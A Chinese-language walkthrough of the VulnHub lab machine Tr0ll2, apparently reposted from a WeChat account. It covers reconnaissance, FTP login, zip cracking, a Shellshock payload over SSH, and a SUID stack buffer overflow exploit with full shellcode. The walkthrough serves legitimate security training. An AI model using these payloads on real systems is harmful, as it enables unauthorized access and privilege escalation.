vulnhub-Tr0ll2

admin 2022年8月27日17:50:19评论16 views字数 2249阅读7分29秒阅读模式

描述

Tr0ll 系列 VM 中的下一台机器。这比最初的 Tr0ll 难度有所提高,但解决所需的时间大致相同,而且毫无疑问,巨魔仍然存在!:)

难度是初学者++到中级

靶机地址:https://www.vulnhub.com/entry/tr0ll-2,107/



一、信息收集

获取目标IP地址

netdiscover -i eth0 -r 192.168.0.0/24

vulnhub-Tr0ll2


确定目标后 进行nmap扫描收集更多信息

nmap -sV -sC -p- -oN /CTF/vulnhub/Troll2/nmap 192.168.0.104

vulnhub-Tr0ll2


发现了3个端口 21(FTP)22(SSH)80(HTTP)

先从80(HTTP)入手,访问WEB地址


vulnhub-Tr0ll2


又是这个表情包,查看一下源代码寻找更多有价值的信息


vulnhub-Tr0ll2


在这里找到了作者的名字 先记下来

使用dirb工具枚举更多的东西

dirb http://192.168.0.104

vulnhub-Tr0ll2


存在/robots.txt,使用web浏览器进行访问


vulnhub-Tr0ll2


在这里看到了很多的目录名称,由于一个一个访问太过于麻烦,使用wget下载到本地并制作成字典

wget http://192.168.0.104/robots.txt

vulnhub-Tr0ll2


继续使用dirb来进行枚举robots.txt的内容

dirb http://192.168.0.104/ robots.txt

vulnhub-Tr0ll2


果然 跑出了四个目录地址。我们尝试访问


vulnhub-Tr0ll2


每个目录都是相同的一张图片,检查一下页面源代码,看看能不能获取更多信息

vulnhub-Tr0ll2


啥也没有 接着把每个目录下的cat_the_troll.jpg下载到本地进行分析

wget http://192.168.0.104/keep_trying/cat_the_troll.jpg

vulnhub-Tr0ll2


使用tail命令读取图像编码 查找有价值的信息

tail -n 3 cat_the_troll.jpg

vulnhub-Tr0ll2


在其中一张图片编码中的结尾获得“y0ur_self”关键字 而且还说明了深入才能找到答案。那么尝试以下是否为目录


vulnhub-Tr0ll2


确实是个目录,而且还是名为“答案”的文件。


vulnhub-Tr0ll2


在打开answe.txt后,确认了这是个通过base64编码的字典

再次使用wget下载到本地

wget http://192.168.0.104/y0ur_self/answer.txt

vulnhub-Tr0ll2


进行base64转码为一个新文件decode.txt

base64 -d answer.txt > decode.txt

vulnhub-Tr0ll2


二、获得shell

但是还不知道这个字典有什么作用。那么现在尝试另一个突破口21(FTP).

在前面也搜集到一个名为“Tr0ll”的用户,很有可能是FTP的用户名和默认密码,接下来尝试登录。

ftp 192.168.0.104

vulnhub-Tr0ll2

成功登录

lsget lmao.zip

vulnhub-Tr0ll2


在这里又找到了一个名为“lmao.zip”的文件,继续下载到本地进行操作

但是没有打开成功,zip文件有密码保护。刚刚转码的字典现在可以派上用场了,尝试猜解

fcrackzip -u -D -p decode.txt lmao.zip

vulnhub-Tr0ll2


好 现在成功的找到了密码 下一步解压文件输入上面的密码即可

unzip lmao.zip

vulnhub-Tr0ll2


解压后,得到一个noob文件。

查看noob文件

cat noob

vulnhub-Tr0ll2


好的 得到了SSHRSA密钥。

尝试使用密钥登录SSH 用户名:noob

ssh -i noob noob@192.168.0.104

vulnhub-Tr0ll2

但是 被耍了!

在这里可以利用SSH中的shellshock漏洞,使用以下命令

ssh -i noob noob@192.168.0.104 -t "() { :; }; /bin/bash"

vulnhub-Tr0ll2


登录成功 但是权限很低

查看特权用户 设置了SUID的文件

find / -perm -4000 2>/dev/null

vulnhub-Tr0ll2


在最下面找到了三个文件 进入到目录后进行查看

这些都是二进制文件 我们尝试运行它

./r00t


vulnhub-Tr0ll2


这里会将我们锁定两分钟 怎么挣扎都是没用的

vulnhub-Tr0ll2


在这里就直接给我踢下线,焯


三、提权

这些二进制文件有着不同的工作方式,并在每次启动时改变让们的行为,其中一个二进制文件接受一个字符串作为参数并打印

ls -al *

vulnhub-Tr0ll2


在经过几次尝试和失败后,发现r00T最大的文件是容易受到缓冲区溢出的目标

接下来在gdb调试器中打开二进制文件以查看二进制文件的汇编文件

gdb -q r00tset disassembly-flavor inteldisas main

vulnhub-Tr0ll2


在main+71发现了一个strcpy函数,非常容易受到缓冲区溢出的影响,尝试利用它

首先 使用metasploit中的pattern_create脚本创建一个500字节长的字符串来查找EIP偏移量

cd /usr/share/metasploit-framewrok/tools/exploit./pattern_create.rb -l 500

vulnhub-Tr0ll2


复制后 在gdb中运行500字节字符作为参数运行


vulnhub-Tr0ll2


发现EIP寄存器被0x6a413969覆盖,表示已经溢出

运行pattern_offset.rb

./pattern_offset.rb -q 6a413969

vulnhub-Tr0ll2


得到了268的偏移量,所以只需要写入268个字符

四、获得root

运行

/r00t $(python -c 'print "A"*268 + "x80xfbxffxbf" + "x90"*16 + "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1xb0x0bxcdx80"')


vulnhub-Tr0ll2


最后在/root/下找到了“Proof.txt”,得到最终的flag


点击下方公众号获取更多内容

原文始发于微信公众号(剑客江湖):vulnhub-Tr0ll2

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年8月27日17:50:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   vulnhub-Tr0ll2http://cn-sec.com/archives/1258222.html

发表评论

匿名网友 填写信息